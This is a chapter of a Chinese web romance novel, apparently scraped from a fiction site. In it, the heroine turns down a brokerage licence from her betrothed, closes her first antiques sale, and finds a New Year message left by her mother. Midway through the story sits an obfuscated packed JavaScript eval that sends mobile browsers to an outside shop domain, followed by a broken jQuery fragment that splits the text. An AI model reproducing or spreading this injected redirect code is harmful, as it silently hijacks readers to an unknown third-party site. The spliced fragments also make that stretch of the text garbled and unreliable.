文趣网 > 其他小说 > 村妇变千金?权臣跪地追妻 > 12.迟来新岁
    “世子公务在身,已先行一步。”侍者似乎瞧出她的心思。

    登梁拂帘,车内轩敞,南木书案,云锦软垫,当中置一炭盆,炭火细红,烘得满车生暖。香炉袅袅,幽微如兰,几不可辨。软垫旁叠着一条薄被,案上有玲珑点心、时令果子,件件熨帖,处处合宜,主人心思可见一斑。

    侍者在窗边轻声道:“小姐今日劳顿,世子吩咐,车内诸物随小姐取用,不必拘束。”

    想起太液池禁苑那夜的倜傥身影,祁晚棠心底掠过喜意。

    “替我谢谢世子殿下。”

    “小姐不必客气,再有个把月,就该是一家人了。

    世子还想问问您,平日都喜欢些什么果子?什么面料的缎子?”

    杏眼斜挑,祁晚棠戏谑道:“殿下若是想知道,不妨亲自来问。”

    帘外静了片刻。

    “是奴才多嘴。我们当奴才的,就是想把主子伺候好。小姐莫怪。”

    “你倒是个周全的,你家世子也这般周全吗?”

    离定国公府还有些距离,祁晚棠欲闭目养神,却在案上发现了一张纸条:

    【晚棠:那夜一叙,知卿有振兴明玥纪之志,甚为钦佩。商贾之道,荆棘丛生,万望珍重。】

    这字迹的风骨,像极了一位故人......却又和那人差了几分神韵。阿樵的字是潇洒俊逸的,而沈鹤樵的字是端着收束的。

    【近日公务,偶经兵马司,恰有牙贴一张无人认领,闲置可惜,附于此。——持玉】

    再低眉望去,镇纸下压着一张散着油墨味的厚纸,已印上官府公章,正是她心心念念、寻寻觅觅的牙贴。

    只要得了这牙贴,便能绕过广顺爷,另起炉灶,自立门户。

    但——

    祁晚棠掀开帘子,对侍者耳语......

    ————

    靖王府,书房。

    暮色透过纸窗斜落,将那张脸切成明暗两半。向光的一侧温润如玉,背光的那侧深沉如墨,看不出喜怒。

    看着那张被送回来的牙贴,男子抬眸,“她没收?”

    侍者摇头,“祁小姐说这牙贴来得晚了,她已与广顺号那边谈好生意。”

    那张纸条被呈上,在沈鹤樵字迹底下,又多了一行字:

    【世子殿下:多谢厚爱,但这是晚棠自己的事业,晚棠不想走捷径。——晚棠】

    纸上还画了一个笑脸福身的小人儿。

    墨痕未干,沈鹤樵用拇指轻轻染开墨迹,盯着手上的黑块良久。

    她用的是簪花小楷,世家女都爱临摹的字体,他见过无数范本,却从未觉得有哪一个人的小楷能如此合眼缘。

    “阿桑,才几个月不见,你就已经会识字念诗,还会做生意了。”他喃喃自语。

    “世子?”侍者跪着,“奴才还打听了小姐的喜好:小姐喜欢蓝色,牡丹酥。”

    “是个机灵的,去领赏吧。做的不错。”座上的人笑了,一双眼泛着温玉的暖光。

    “啊......是!”侍者刚到世子手下供职一个月,早闻世子宅心仁厚,礼待下人,今日一见果真如此。

    待侍者离去,沈鹤樵倏地长吁一口气:阿桑明明最讨厌蓝色。

    看来阿桑对“沈鹤樵”并不友好。

    得知阿桑离开京城,他在京城却怎么也找不到她时,沈鹤樵几乎颓唐绝望,不知几天几夜没合眼,一闭上眼便想起可人儿的音容笑貌。

    谁知天垂怜他,夜宴上,他居然找到了阿桑。不仅如此,阿桑居然是他的婚约对象。

    阿桑是国公家失散多年的小姐。

    在高台上,听见阿桑骂“阿樵”,他竟觉好似做梦,隔着层雾遥遥望去,“阿樵”已是红尘旧梦。

    既然阿桑如此恨他,那就忘了他吧,那时他几乎凌迟一般剖析自己。最后他仓皇逃离。

    京城大雪,他站在国公府门前,直至寒风吹彻。

    幼时好友面色不愉,瞥见他冻得不成人样,将声音也放软了,“如今朝局危急,太子和四皇子谁输谁赢没个定数。对不住,持玉,我不能将家妹许配给你,有婚约也不行。”

    他本以为婚约就要取消,万念俱灰之际,祁执白却上门了。

    “婚约的事,国公府不会食言,”幼时的玩伴凝视他良久,“但你若是辜负她,我也不会客气。”

    阿桑、阿桑阿桑、阿桑阿桑阿桑阿桑阿桑阿桑.......

    阿桑答应婚约,阿桑要嫁给他。

    不是嫁给“阿樵”,而是嫁给“沈鹤樵”。

    阿樵温柔体贴,却总是沉默。一个闷葫芦,谁会喜欢?也只有阿桑爱给葫芦开瓢。

    但沈鹤樵,在外人眼里敏而笃行,温润有礼,可他自己清楚,那不过是一张画皮。真正的他,说冷也好,说狠也罢,总之不是那种叫人安心的性子。

    既然阿桑已决定嫁进靖王府,那......便要让她喜欢上“沈鹤樵”。

    至于怎么个喜欢法......

    沈鹤樵低头,盯着纸上那个歪歪扭扭的小人儿,半晌,命人备纸。

    “世子要写什么?”

    “信。”

    ————

    广顺号旁多了家小铺子,小巧精致,挂着广顺号的铺面行头,却吆喝着自家的生意。

    所谓古玩牙行,交易分五步:找上家、调查上家、掌眼鉴宝、觅下家、居中撮合抽牙钱。

    祁晚棠这些天寻了件宋瓷的买卖,卖主是个落魄文官,急需脱手。这是她的第一桩生意,宋瓷成色不错,很快便找到下家。

    但因上家身份不便透露,便先与阿桑说定了心仪价格,让阿桑这个牙人与下家谈拢了。

    远远地,一男子走入,着锦袍,持骨扇,金冠束发,一副金尊玉质模样。

    平阳侯府的小侯爷,看起来是个不缺钱的主儿。

    “那宋瓷在哪?”没有寒暄,他直接开口。

    “里面请。”

    掀起红绒,那只宋瓷静静立在架上,青釉莹润,光泽如湖。小侯爷俯身,左敲右叩,接过去迎光转了一圈,又凑近了细看底款,“嗯”了一声,不置可否。

    “成色如何,侯爷想必已有定论。”祁晚棠侍立一旁。

    “还行。”他转了转骨扇,“多少钱?”

    “八百两。”

    祁晚棠本以为这主儿会同意,却不曾想——

    “贵了。”

    “这只宋瓷,汝窑所出。汝窑,传世者十不存一,这一件底款清晰,釉色完好,无一处崩口,侯爷觉得贵,可是嫌货不好?”

    “货是好货,”他斜她一眼,“你报价太狠了。”

    “侯爷见多识广,想必也知道,这个价已是实诚了。”

    “实诚?”他哂笑一声,“我在京城玩古董十几年,你这卖五百两都嫌多。”

    “侯爷是买来欣赏,还是另有去处?”

    小侯爷蓦地一顿,“多管闲事。”

    放下骨扇,他起身欲离。

    “不买了。”

    可祁晚棠分明瞧见他把那只宋瓷打量得彻底,似乎要把釉面再用眼神抛光一番,把每一道纹理再研磨一遍。

    “侯爷若觉得价格不合适,不妨回去再想想,铺子每日都开,不急这一时。”

    当夜,冉茉拎着点心登门,“打听到了。平阳侯府老夫人也就吊着那命了,‘想吃什么就吃什么,想买什么就买什么吧’这是大夫原话。而那老夫人,最爱的就是瓷。为了他娘,他跑了不下十家牙行。”

    “我说这人也真是,他娘都要过了,还扣扣搜搜。家里不是巨富吗?”冉茉磕着瓜子。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597630|205561||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    第二日,祁晚棠备了拜贴亲自登门。

    小侯爷面色憔悴,没请她进门,压低声音道:“又来谈价?”

    “不谈价,”祁晚棠站定,“老夫人喜欢哪个年号的宋瓷?天青、粉青还是梅子青?”

    男人眼睛红了,捏紧衣袖。

    “若只是摆在案头看,昨天那只便是最合适的,安静恬淡,也可让老夫人看着舒心些。”

    朝门内望了望,小侯爷眸色闪动,祁晚棠便乘胜追击。

    “成三破二*,本要收你两分,现就收你一分吧。”

    “......行吧。”

    立完契,小侯爷便见她身后那只大号锦盒,跑腿的将盒盖掀开,那只宋瓷已经躺在里面了。

    “你......你这怎么已经把货运来了,是断定了我会买啊?”

    “晚棠只是想着礼数要周全些。”

    “你还挺厉害的,看来那人没介绍错啊。”

    “谁?”祁晚棠略有些诧异。

    “我还以为你知道啊,沈鹤樵啊,他不是和你有婚事?”

    靖王世子居然在帮她......?

    她心潮翻涌,面上却不显。

    ————

    此后的冬日,靖王府的东西便一件件往国公府送。

    起初是暖手炉,小巧精致,内填银骨炭,手连同心都暖融融;接着是一件月白色滚毛边的斗篷,料子轻盈;再后来是几盒牡丹酥,漆盒封装,油纸封口,甜香四溢。

    每回送礼,都附着一张信笺。

    祁执白每次接过那些东西并转递给妹妹时,面色一次比一次沉郁,一次比一次沉默。能说的坏话也都说尽了。

    那次见妹妹换上沈鹤樵送来的斗篷,在院里东转一下西转一下。

    “好不好看?!”

    “好看好看......快进来,外头冷。”祁执白搁下书卷,令忠叔去将她请进来。

    直至腊月将尽,爆竹声里旧岁辞,红梅雪中新春至。

    靖王世子久违登门,忠叔亲迎至门前,笑得合不拢嘴,“姑爷,里头请。”

    茶室内,祁执白已备好炉火。沈鹤樵落座,两人相对,一时静默,唯闻炭火轻响。

    见祁执白要沏茶,他连忙接过茶具,“我来。”

    “持玉。”祁执白唤了他的字。

    “她最近老提到你,”祁执白手指轻口碗沿,“问了我许多,靖王世子喜欢什么颜色、喜欢看什么书、喜欢吃什么点心。”

    茶汤倒入杯盏,热气氤氲。

    “沈大人,这茶我可不敢喝。”

    “执白兄,某泡茶从不下毒。”

    祁执白冷哼一声,饮下茶水。

    “她还说,你像她的一个故人。”

    顺着祁执白的目光,他望向窗缝——

    晴阳下,院里的老槐仍一径地葱茏茂密,枝桠上红线垂落,朔风过处,噼啪作响。月白滚边斗篷,玉耳坠,女子踮起脚尖,伸手去够一块块木牌。

    几个月前,祁晚棠尚不识字,那木牌上的字,一个也认不得。

    如今她站在树下,能识字,动作却放缓了。

    木牌上会是什么呢?

    她瞥见诸如“平安顺遂”“万事胜意”一类的话。

    随着她向右望去,木牌拼成了一封信:

    【晚棠卿卿,此牌于某年新岁所书,你离开的第六年。不知你在何处,冷暖自知否?新岁将至,阿娘在此,愿吾儿平安顺遂,岁岁如意。】

    迟到了十多年的新年祝福。

    “新年快乐......”

    手指抵在木牌上,她良久站立,任风拨弄鬓发。

    不知过了多久,府外传来爆竹声,她猛地回神,转过头——

    茶室的窗缝里,有一双眼睛正看着她......